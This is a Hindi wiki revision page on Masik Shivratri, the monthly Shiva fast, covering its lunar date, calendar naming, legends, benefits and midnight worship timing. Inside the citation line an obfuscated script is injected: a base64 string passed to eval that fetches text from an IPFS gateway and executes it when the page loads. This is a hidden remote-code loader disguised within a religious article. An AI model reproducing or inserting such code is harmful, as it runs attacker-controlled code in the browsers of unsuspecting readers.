"मासिक शिवरात्रि" के अवतरणों में अंतर

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==पंचांग उल्लेख==
 
==पंचांग उल्लेख==

12:09, 27 मार्च 2014 के समय का अवतरण

मासिक शिवरात्रि
भगवान शिव
विवरण 'मासिक शिवरात्रि' भगवान शिव से सम्बंधित है, जिसका हिन्दू धर्म में बड़ा ही धार्मिक महत्त्व माना जाता है।
तिथि प्रत्येक माह में कृष्ण पक्ष की चतुर्दशी
धार्मिक मान्यता 'मासिक शिवरात्रि' के दिन व्रत आदि करने से भगवान शिव की विशेष कृपा द्वारा कोई भी मुश्किल और असम्भव कार्य पूरे किये जा सकते हैं।
विशेष यदि 'मासिक शिवरात्रि' मंगलवार के दिन पड़ती है तो वह बहुत ही शुभ होती है।
संबंधित लेख शिव, पार्वती, गणेश, कार्तिकेय, कैलाश
अन्य जानकारी वे भक्त जो 'मासिक शिवरात्रि' का व्रत करना चाहते है, वह इसे 'महाशिवरात्रि' से आरम्भ कर सकते हैं और एक वर्ष तक कायम रख सकते हैं।

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मासिक शिवरात्रि प्रत्येक माह की कृष्ण पक्ष की चतुर्दशी तिथि को मनाई जाती है। हिन्दू धर्म में इस शिवरात्रि का भी बहुत महत्त्व है। 'शिवरात्रि' भगवान शिव और शक्ति के अभिसरण का विशेष पर्व है। धार्मिक मान्यता है कि 'मासिक शिवरात्रि' के दिन व्रत आदि करने से भगवान शिव की विशेष कृपा द्वारा कोई भी मुश्किल और असम्भव कार्य पूरे किये जा सकते हैं।

पंचांग उल्लेख

'अमांत पंचांग' के अनुसार माघ मास की 'मासिक शिवरात्रि' को 'महाशिवरात्रि' कहते हैं; परन्तु पुर्णिमांत पंचांग के अनुसार फाल्गुन मास की 'मासिक शिवरात्रि' को 'महाशिवरात्रि' कहते हैं। दोनों पंचांगों में यह चन्द्र मास की नामाकरण प्रथा है, जो इसे अलग-अलग करती है। हालाँकि दोनों, पूर्णिमांत और अमांत पंचांग एक ही दिन 'महाशिवरात्रि' के साथ सभी शिवरात्रियों को मानते हैं।[1]

पौराणिक वर्णन

भारतीय पौराणिक कथाओं के अनुसार 'महाशिवरात्रि' के दिन मध्य रात्रि में भगवान शिव लिंग के रूप में प्रकट हुए थे। पहली बार शिवलिंग की पूजा भगवान विष्णु और ब्रह्मा द्वारा की गयी थी। इसीलिए महाशिवरात्रि को भगवान शिव के जन्म दिन के रूप में जाना जाता है और श्रद्धालु लोग शिवरात्रि के दिन शिवलिंग की पूजा करते हैं। शिवरात्रि व्रत प्राचीन काल से प्रचलित है। हिन्दू पुराणों में शिवरात्रि व्रत का उल्लेख मिलता हैं। शास्त्रों के अनुसार देवी लक्ष्मी, इन्द्राणी, सरस्वती, गायत्री, सावित्री, सीता, पार्वती और रति ने भी शिवरात्रि का व्रत किया था।

महत्त्व

वे भक्त जो 'मासिक शिवरात्रि' का व्रत करना चाहते है, वह इसे 'महाशिवरात्रि' से आरम्भ कर सकते हैं और एक वर्ष तक कायम रख सकते हैं। यह माना जाता है कि मासिक शिवरात्रि के व्रत को करने से भगवान शिव की विशेष कृपा द्वारा कोई भी मुश्किल और असम्भव कार्य पूरे किये जा सकते हैं। श्रद्धालुओं को शिवरात्रि के दौरान जागी रहना चाहिए और रात्रि के दौरान भगवान शिव की पूजा करना चाहिए। अविवाहित महिलाएँ इस व्रत को विवाहित होने हेतु एवं विवाहित महिलाएँ अपने विवाहित जीवन में सुख और शान्ति बनाये रखने के लिए इस व्रत को करती हैं।

निशिता काल

यदि 'मासिक शिवरात्रि' मंगलवार के दिन पड़ती है तो वह बहुत ही शुभ होती है। शिवरात्रि पूजन मध्य रात्रि के दौरान किया जाता है। मध्य रात्रि को 'निशिता काल' के नाम से जाना जाता है और यह दो घटी के लिए प्रबल होती है। द्रिक पंचांग सभी शिवरात्रि के व्रत के लिए शिव पूजन करने के लिए निशिता काल मुहूर्त को सूचीबद्ध करता है। भगवान शिव को उनके 'भोले-भाले' स्वभाव के कारण 'भोलेनाथ' के नाम से भी जाना जाता है।


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टीका टिप्पणी और संदर्भ

  1. मासिक शिवरात्रि (हिन्दी)। । अभिगमन तिथि: 27 मार्च, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

अन्य संबंधित लिंक

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